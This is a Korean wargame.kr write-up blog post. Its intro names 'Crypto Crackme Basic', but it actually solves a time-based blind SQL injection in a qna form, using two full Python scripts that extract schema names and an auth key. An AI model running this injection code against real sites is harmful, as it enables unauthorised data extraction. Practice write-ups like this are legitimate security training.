Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트에서는 Crypto Crackme Basic 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
이번에는 생각보다 공격 포인트는 간단하지만, 공격 코드 짜는 게 여간 힘든 일이었습니다.
|
문제 이해 |
친절합니다.
위에서 Time Based SQL Injection 이라고 알려주었습니다.
다만 그외에 정보가 따로 없습니다... Database, Table, Column이름을 모두 알아내야 합니다.
아래에서 공격 벡터를 찾기 위해 쭉 찾아보았는데,
to JSMaster 부분에서 POST값으로 보내는 type 부분에서 sleep 함수가 통하며, Time Based SQLi가 되는 것을 확인하였습니다.
아래의 코드와 같이 테스트하였으며, 2초 뒤에 반환되는 것을 보았습니다.
|
문제 풀이 |
문제를 풀기 위한 코드입니다.
모두 두 가지로 나누었으며, MySQL 내부의 정보를 긁어오는 코드와 이를 이용하여 풀이를 진행한 코드입니다.
다만 유의해야 할 점은 싱긍쿼터가 필터링 되어 있기 때문에 HEX 값으로 대신 문자열을 비교하였습니다.
|
MySQL Scanner(Python3) |
import requests import string import time def str2hex(string): return '0x'+bytes.hex(string.encode()) requests.packages.urllib3.disable_warnings() headers = { "Cookie" : "여러분의 쿠키값" } proxies = { 'http' : 'http://localhost:8888', 'https' : 'http://localhost:8888' } data = { "cont" : "kkamikoon", "mail" : "kkamikoon", "type" : "%s" } URL = "http://wargame.kr:8080/qna/" # Database Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- for i in range(100): tmpTime = time.time() data['type'] = "1 and if(length(database())=%s,sleep(3),1)" % i res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: print("[+] Found Database Length : %d" % i) dbLen = i break else: pass bitLen = 8 dbName = "" for dblen in range(1, dbLen+1): tmpBit = "" for blen in range(1, bitLen+1): tmpTime = time.time() data['type'] = "1 and if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dblen" : dblen, "bitLen" : bitLen, "blen" : blen} res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: tmpBit += "1" else: tmpBit += "0" dbName += chr(int(tmpBit,2)) print("[+] Found Word : ", dbName) print("[+] Found DB Name : %s" % dbName) # Table Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- dbName = "qna" # Table Count for count in range(100): tmpTime = time.time() data['type'] = "1 and if((select count(table_name) from information_schema.tables where table_schema=%(dbName)s)=%(count)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "count" : count} res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: print("[+] Found Table Count : %d" % count) tableCnt = count break else: pass # Table Length tableLen = [] for tcnt in range(tableCnt): for length in range(100): tmpTime = time.time() data['type'] = "1 and if((select length(table_name) from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1)=%(length)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "length" : length, "tcnt" : tcnt} res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: print("[+] Found Table Length : %d" % length) tableLen.append(length) break else: pass print("[+] Found All Table Length : ", tableLen) # Table Name bitLen = 8 tableName = [] for tcnt in range(tableCnt): tmpName = "" for tlen in range(1, tableLen[tcnt]+1): tmpBit = "" for blen in range(1, bitLen+1): tmpTime = time.time() data['type'] = "1 and if(substr(lpad(bin(ord(substr((select table_name from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1),%(tlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dbName" : str2hex(dbName), "tlen" : tlen, "bitLen" : bitLen, "blen" : blen, "tcnt" : tcnt} res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: tmpBit += "1" else: tmpBit += "0" tmpName += chr(int(tmpBit,2)) print("[+] Found Word : ", tmpName) print("[+] Found Table Name : %s" % tmpName) tableName.append(tmpName) print("[+] Found All Table Name : ", tableName) # Column Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- dbName = "qna" tableCnt = 2 tableName = ['authkey', 'message'] columnCnt = [] # Column Count for tcnt in range(tableCnt): for count in range(100): tmpTime = time.time() data['type'] = "1 and if((select count(column_name) from information_schema.columns where table_name=%(tableName)s)=%(count)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "count" : count} res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: print("[+] Found Column Count : %d" % count) columnCnt.append(count) break else: pass # Column Length columnLen = [] for tcnt in range(tableCnt): tmpLen = [] for ccnt in range(columnCnt[tcnt]): for length in range(100): tmpTime = time.time() data['type'] = "1 and if((select length(column_name) from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1)=%(length)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "length" : length, "ccnt" : ccnt} res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: print("[+] Found Column Length : %d" % length) tmpLen.append(length) break else: pass columnLen.append(tmpLen) print("[+] Found All Column Length : ", columnLen) # Column Name bitLen = 8 columnName = [] for tcnt in range(tableCnt): tmpNameList = [] for ccnt, clen in enumerate(columnLen[tcnt]): tmpName = "" for cl in range(1, clen+1): tmpBit = "" for blen in range(1, bitLen+1): tmpTime = time.time() data['type'] = "1 and if(substr(lpad(bin(ord(substr((select column_name from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1),%(cl)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "cl" : cl, "bitLen" : bitLen, "blen" : blen, "ccnt" : ccnt} res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: tmpBit += "1" else: tmpBit += "0" tmpName += chr(int(tmpBit,2)) print("[+] Found Word : ", tmpName) print("[+] Found Tmp Column Name : %s" % tmpName) tmpNameList.append(tmpName) print("[+] Found Column Name : ", tmpNameList) columnName.append(tmpNameList) print("[+] Found All Column Name : ", columnName)
|
Solve(Python3) |
import requests import string import time def str2hex(string): return '0x'+bytes.hex(string.encode()) requests.packages.urllib3.disable_warnings() headers = { "Cookie" : "여러분의 쿠키값" } proxies = { 'http' : 'http://localhost:8888', 'https' : 'http://localhost:8888' } data = { "cont" : "kkamikoon", "mail" : "kkamikoon", "type" : "%s" } URL = "http://wargame.kr:8080/qna/" # Value Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- # Value Count for i in range(100): tmpTime = time.time() data['type'] = "1 and if((select count(authkey) from authkey)=%s,sleep(2),1)" % i res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: print("[+] Found Value Count : %d" % i) valueCnt = i break else: pass # Value Length for i in range(100): tmpTime = time.time() data['type'] = "1 and if((select length(authkey) from authkey)=%s,sleep(2),1)" % i res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: print("[+] Found Value Length : %d" % i) valueLen = i break else: pass bitLen = 8 valueLen = 40 value = "" for vlen in range(1, valueLen+1): tmpBit = "" for blen in range(1, bitLen+1): tmpTime = time.time() data['type'] = "1 and if(substr(lpad(bin(ord(substr((select authkey from authkey limit 0,1),%(vlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"vlen" : vlen, "bitLen" : bitLen, "blen" : blen} res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False) if (time.time() - tmpTime) >= 1.5: tmpBit += "1" else: tmpBit += "0" value += chr(int(tmpBit,2)) print("[+] Found Word : ", value) print("[+] Found Value : %s" % value)
'WARGAMES > wargame.kr' 카테고리의 다른 글
[Wargame.kr] Level 27 - Dun worry about vase (0) | 2020.01.16 |
---|---|
[Wargame.kr] Level 26 - dll with notepad (0) | 2020.01.16 |
[Wargame.kr] Level 24 - Crypto Crackme Basic (0) | 2019.06.18 |
[Wargame.kr] Level 23 - dmbs335 (0) | 2019.06.17 |
[Wargame.kr] Level 22 - keypad_crackme (0) | 2019.06.14 |
[Wargame.kr] Level 21 - crack crack crack it (0) | 2019.06.11 |
[Wargame.kr] Level 20 - lonely_guys (0) | 2019.06.11 |
[Wargame.kr] Level 19 - ip log table (0) | 2019.05.17 |